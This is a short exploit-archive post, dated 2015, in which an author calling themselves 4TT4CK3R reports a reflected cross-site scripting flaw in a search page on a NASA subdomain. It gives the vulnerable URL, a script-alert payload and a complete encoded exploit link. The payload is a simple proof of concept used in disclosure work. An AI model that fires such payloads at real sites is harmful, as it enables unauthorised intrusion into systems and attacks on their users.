NASA Cross Site Scripting

`# Exploit Title : NASA Subdomain XSS Vulnerability  
# Exploit Author : 4TT4CK3R  
# Date : 2015/12/27  
# Tested on : Kali linux , Windows 8.1  
# Vendor HomePage : https://ghrc.nsstc.nasa.gov/  
# Google Dork : No  
# Category : Web Application  
  
  
  
~ # : Vulnerable Location :https://ghrc.nsstc.nasa.gov/hydro/search.pl  
  
~ # : Using this script for XSS Vunerability Testing :  
<script>alert('4TT4CK3R')</script>  
  
~ # : Our Finally address is  
:https://ghrc.nsstc.nasa.gov/hydro/search.pl?hydro&pr=%3Cscript%3Ealert%28%274TT4CK3R%27%29%3C/script%3E  
  
  
  
# Discovered by : 4TT4CK3R  
# Hacker is not who deface a website with GoogleDork Which it shared  
with another person :)  
# I know nothing, It's too soon to say "I KNOW"  
# Cyber Police  
`